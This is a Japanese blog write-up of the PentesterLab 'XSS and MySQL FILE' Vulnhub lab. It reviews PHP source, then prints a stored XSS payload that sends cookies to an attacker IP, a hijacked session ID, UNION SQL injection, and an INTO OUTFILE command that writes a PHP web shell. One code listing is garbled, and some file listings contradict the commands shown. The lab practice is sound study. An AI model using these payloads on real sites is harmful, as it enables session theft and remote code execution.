【Vulnhub】XSS AND MYSQL FILEをやってみた

#はじめに
ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。
そのためポートスキャンや権限昇格といった内容は省略しています。

このブログを参考にしています。こっちの方が分かりやすいかもしれません。
[AWAE/OSWE PREP (Code analysis to gaining rce and automating everything with Python)](https://sarthaksaini.com/2019/awae/xss-rce.html)

#PENTESTER LAB: XSS AND MYSQL FILE
- サーバー名: Pentester Lab: XSS and MySQL FILE
- リリース日: 2014年1月29日
- 作者: Pentester Lab
- シリーズ: Pentester Lab

攻略プロセスは、以下のとおりです。
1. XSSで脆弱な機能を見つける。
2. クッキーを奪う
3. SQLインジェクション
4. バックドアのアップロード
5. RCE

#Index.php 
ソースコードを調べていきます。
Index.phpでは`all()`関数が`Post`クラスから呼び出されています。

```Index.php
<?php
  $site = "PentesterLab vulnerable blog";
  require "header.php";
  $posts = Post::all();
?>
  <div class="block" id="block-text">
    <div class="secondary-navigation">
      <div class="content">
      <?php 
        foreach ($posts as $post) {
            echo $post->render(); 
      } ?> 
     </div>
 
    </div>
  </div>


<?php


  require "footer.php";
?>

```
`grep`コマンドでクラスの場所を調べます。

```
root@debian:/var/www# grep -iRn "Class Post" --color .
./classes/post.php:3:class Post{
root@debian:/var/www# 
```
 -i 大文字と小文字を区別せず検索する 
 -R ディレクトリ内も検索対象とする
 -n 検索結果に行番号を表示する

#Post.php
`all()`関数を調べていきます。

```Post.php
<?php
  $site = "PentesterLab vulnerable blog";
  require "header.php";
  $post = Post::find(intval($_GET['id']));
?>
  <div class="block" id="block-text">
    <div class="secondary-navigation">
      <div class="content">
      <?php 
            echo $post->render_with_comments(); 
      ?> 
     </div>

      <form method="POST" action="/post_comment.php?id=<?php echo htmlentities($_GET['id']); ?>"> 
        Title: <input type="text" name="title" / ><br/>
        Author: <input type="text" name="author" / ><br/>
        Text: <textarea name="text" cols="80" rows="5">
        </textarea><br/>
        <input type="submit" name="submit" / >
      </form> 
    </div>

  </div>


<?php

  require "footer.php";
?>
```
`$_GET['id']` の要素に `intval()` が適用されているため、要素が必ず整数値になります。

```Post.php
<form method="POST" action="/post_comment.php?id=<?php echo htmlentities($_GET['id']); ?>">
```
実際にWebアプリ上で文字列を挿入すると```ERROR: INTESER REQUIRED```と表示されます。 

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1114969/d678d618-e90c-89f4-ad5b-9d6c01dde407.png)

コメント送信の機能は、`post_comment.php`が処理しているようです。

```
POST /post_comment.php?id=2 HTTP/1.1
Host: 192.168.191.228
Content-Length: 69
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.191.228
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.191.228/post.php?id=2
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

title=test&author=test&text=+test&submit=%26%2336865%3B%26%2320449%3B
```

#post_comment.php
`post.php`クラス、`add_comment()`関数と`find()`関数が利用されています。


```post_comment.php
<?php
  $site = "PentesterLab vulnerable blog";
  require "header.php";
  $post = Post::find(intval($_GET['id']));
  if (isset($post)) {
    $ret = $post->add_comment();
  }
  header("Location: post.php?id=".intval($_GET['id']));
  die();
?>

```
`find()`関数は`id`パラメータを引数として取得し値が存在するかどうかを確認します。
存在する場合、Postクラスのオブジェクトを作成し、コンストラクタに値を渡します。


```post_comment.php
function find($id) {
    $result = mysql_query("SELECT * FROM posts where id=".$id);
    $row = mysql_fetch_assoc($result); 
    if (isset($row)){
      $post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
    }
    return $post;
  
  }
```

以下がコンストラクタです。

```post_comment.php
class Post{
  public $id, $title, $text, $published;
  function __construct($id, $title, $text, $published){
    $this->title= $title;
    $this->text = $text;
    $this->published= $published;
    $this->id = $id;
  }
```

コンストラクタの引数で渡した値は`this()`関数が受け取り、ローカル変数として処理されます。
引数は、以下のコメント送信リクエストで渡される値になります。

```
title=test&author=text&text=hello+world++++++++&submit=Submit
```

次は`add_comment()`関数を見てみます。


```post_comment.php
function add_comment() {
    $sql  = "INSERT INTO comments (title,author, text, post_id) values ('";
    $sql .= mysql_real_escape_string($_POST["title"])."','";
    $sql .= mysql_real_escape_string($_POST["author"])."','";
    $sql .= mysql_real_escape_string($_POST["text"])."',";
    $sql .= intval($this->id).")";
    $result = mysql_query($sql);
    echo mysql_error(); 
  }
```

POSTリクエストが受けとった値がそのままデータベースに直接保存されているようです。
mysqlにログインして、実際に保存がされているかどうかを確認します。

```
sudo su
mysql
use blog;
select * from comments;
```
アウトプット

```
mysql> select * from comments;
+----+-------+---------------------+---------+-----------+---------+
| id | title | text                | author  | published | post_id |
+----+-------+---------------------+---------+-----------+---------+
|  1 | test  | hello world         | text    | NULL      |       1 |
+----+-------+---------------------+---------+-----------+---------+
1 row in set (0.00 sec)
```

試しにjavascriptのペイロード`<script>document.cookie</script>`を挿入してみます。

```
title=test&author=text&text=<script>document.cookie</script>&submit=Submit
```
Burpを使いました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1114969/627bd163-e739-ad55-2da8-4d811213fd6d.png)


アウトプット

```
mysql> select * from comments;
+----+-------+----------------------------------+---------+-----------+---------+
| id | title | text                             | author  | published | post_id |
+----+-------+----------------------------------+---------+-----------+---------+
|  1 | test  | hello world                      | text    | NULL      |       1 |
|  2 | test  | <script>document.cookie</script> | text    | NULL      |       1 |
+----+-------+----------------------------------+---------+-----------+---------+
2 rows in set (0.00 sec)
```

任意のスクリプトををデータベースに保存することができました。
post.phpを再度確認。

```post.php
<?php
  $site = "PentesterLab vulnerable blog";
  require "header.php";
  $post = Post::find(intval($_GET['id']));
?>
  <div class="block" id="block-text">
    <div class="secondary-navigation">
      <div class="content">
      <?php 
            echo $post->render_with_comments(); 
      ?> 
     </div>

      <form method="POST" action="/post_comment.php?id=<?php echo htmlentities($_GET['id']); ?>"> 
        Title: <input type="text" name="title" / ><br/>
        Author: <input type="text" name="author" / ><br/>
        Text: <textarea name="text" cols="80" rows="5">
        </textarea><br/>
        <input type="submit" name="submit" / >
      </form> 
    </div>

  </div>


<?php

  require "footer.php";
?>
```

`echo $ post-> render_with_comments();`に着目し、`render_with_comments()`関数を調べていきます。


`render_with_comments()`関数を調べる。

```post.php
function render_with_comments() {
    $str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>";
    $str.= '<div class="inner" style="padding-left: 40px;">';
    $str.= "<p>".htmlentities($this->text)."</p></div>";   
    $str.= "\n\n<div class='comments'><h3>Comments: </h3>\n<ul>";
    foreach ($this->get_comments() as $comment) {
      $str.= "\n\t<li>".$comment->text."</li>";
    }
    $str.= "\n</ul></div>";
    return $str;
  }
```

以下のとおり、

```post.php
foreach ($this->get_comments() as $comment) {
      $str.= "\n\t<li>".$comment->text."</li>";
    }
```

`text`の入力値ががフィルターにかけられずに出力されています。
`<script>alert(1);</script>`をtext欄に入れて、格納型XSSを実行できるかを試してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1114969/64af42e4-80f0-0b66-6080-d55d1dfb2c29.png)

ポップアップを表示できたので、次は以下のペイロードでCookieを取得していきます。

```
<script>document.write('<img src="http://192.168.79.156:4444/?'+document.cookie+' "/>');</script>
```

Webサーバーをセットアップし、Cookieを取得します。

```
┌──(kali㉿kali)-[~]
└─$ python -m SimpleHTTPServer 4444                                              1 ⨯


Serving HTTP on 0.0.0.0 port 4444 ...
192.168.2.100 - - [04/Apr/2021 00:21:39] "GET /?PHPSESSID=epa4dsfi0jq3j1v1fqpmmgidt4 HTTP/1.1" 200 -
```

Cookieを書き換えAdminページにアクセスします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1114969/3b2ef9d4-d1a8-9f04-4ea3-8d69c4cb14dd.png)

#edit.php
`admin`ディレクトリにアクセスできので、中のファイルを調べていきます。

```edit.php
<?php 
  require("../classes/auth.php");
  require("header.php");
  require("../classes/db.php");
  require("../classes/phpfix.php");
  require("../classes/post.php");

  $post = Post::find($_GET['id']);
  if (isset($_POST['title'])) {
    $post->update($_POST['title'], $_POST['text']);
  } 
?>
  
  <form action="edit.php?id=<?php echo htmlentities($_GET['id']);?>" method="POST" enctype="multipart/form-data">
    Title: 
    <input type="text" name="title" value="<?php echo htmlentities($post->title); ?>" /> <br/>
    Text: 
      <textarea name="text" cols="80" rows="5">
        <?php echo htmlentities($post->text); ?>
       </textarea><br/>

    <input type="submit" name="Update" value="Update">

  </form>

<?php
  require("footer.php");
```

`find()`関数が`classes/post.php`で使用され、mysqlからデータを取得していることがわかります。
`find()` 関数を調べます。

```edit.php
funcfunction find($id) { 
    $result = mysql_query("SELECT * FROM posts where id=".$id);
    $row = mysql_fetch_assoc($result); 
    if (isset($row)){
      $post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
    }
    return $post;tion find($id) { 
    $result = mysql_query("SELECT * FROM posts where id=".$id);
    $row = mysql_fetch_assoc($result); 
    if (isset($row)){
      $post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
    }
    return $post;
```

ユーザーの入力値`id`変数がフィルターなしで直接渡されています。
SQLインジェクションが有効か試してみます。

```
URL:-http://192.168.191.229/admin/edit.php?id=-1%20union%20select%201,%22we%20got%20it%20boys%22,3,4%23
```

バックドアをサーバーに保存できるか確認するため`www`ディレクトリに書き込み権限があるか確認します。

```
root@debian:/var/www# ls -lha
total 20K
drwxr-xr-x  6 www-data www-data 210 Jan  2  2014 .
drwxr-xr-x 19 root     root     140 Oct 10  2013 ..
drwxr-xr-x  3 www-data www-data 164 Jan  2  2014 admin
-rw-r--r--  1 www-data www-data 601 Oct 10  2013 all.php
-rw-r--r--  1 www-data www-data 510 Oct 10  2013 cat.php
drwxr-xr-x  2 www-data www-data 114 Jan  2  2014 classes
drwxrwxrwx  2 www-data www-data  67 Jan  2  2014 css
-rw-r--r--  1 www-data www-data 15K Oct 10  2013 favicon.ico
-rw-r--r--  1 www-data www-data 185 Oct 10  2013 footer.php
-rw-r--r--  1 www-data www-data 749 Oct 10  2013 header.php
drwxrwxrwx  2 www-data www-data  30 Jan  2  2014 images
-rw-r--r--  1 www-data www-data 369 Oct 10  2013 index.php
-rw-r--r--  1 www-data www-data 243 Oct 10  2013 post_comment.php
-rw-r--r--  1 www-data www-data 722 Oct 10  2013 post.php
root@debian:/var/www# 
```

`css`と`images`ディレクトリが書き込み可能でした。

#バックドアのアップロード

まず、`css`ディレクトリにファイルを書き込むペイロードを作成します。

```
union select 1,hello world,3,4 into outfile "/var/www/css/lol.php"%23
```

アウトプット

```
root@debian:/var/www/css# ls
base.css  default.css  style.css
root@debian:/var/www/css# ls
base.css  default.css  shell.php  style.css
root@debian:/var/www/css# cat lol.php 
1      hello world      3       4
root@debian:/var/www/css#
```

1,2,3,4カラムが書き込み可能なので、各コラムにリバースシェルをペイロードに挿入します。

```
union select "<?php","system($_GET['c']);","?>",";" into outfile "/var/www/css/shell.php"%23
```

アウトプット

```
root@debian:/var/www/css# ls
base.css  default.css  style.css
root@debian:/var/www/css# ls
base.css  default.css  lol.php  style.css
root@debian:/var/www/css# cat lol.php 
<?php   system($_GET['c']);     ?>      ;
root@debian:/var/www/css# 

```

コマンドを実行できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1114969/1c8a8dbe-5d21-fbe2-f3fa-e89f831bbc5f.png)


#最後に
ソースコード検証の勉強になりました。
シェルを取得の自動化スクリプトも作れるようになりたい。